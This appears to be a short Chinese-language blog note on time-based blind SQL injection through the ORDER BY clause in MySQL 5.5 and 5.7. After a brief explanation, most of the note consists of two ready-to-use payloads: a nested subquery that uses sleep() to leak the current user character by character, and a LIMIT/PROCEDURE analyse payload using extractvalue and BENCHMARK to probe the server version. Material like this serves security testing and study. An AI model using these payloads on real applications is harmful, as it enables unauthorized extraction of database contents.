mysql order by基于时间的盲注
order by后面的注入,一般先尝试报错注入,无报错的时候可以通过rand(ture)和rand(false)来进行bool型盲注,但是今天遇到完全没有数据回显的(也就是数据库中没有数据)情况,这就比较麻烦了。记录一下sql语句
参考文章:https://www.cnblogs.com/babers/p/7397525.html
https://www.cnblogs.com/Vinson404/p/7246792.html?utm_source=itdadao&utm_medium=referral
简单点说:目前好像只有5.5和5.7下能注入,5.6不行(个人观点,不一定对)
由于本地只有mysql5.6 和5.7,这里复现漏洞时用的5.7
5.7 语句 order by (select 1 from(select 1 and if(ascii(substr((user()),1,1))=114,sleep(5),1))x)# (备注一下,mysql规定嵌套的表名中必须要有别名)
5.7 这种情况可以转化为limit后的注入
ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)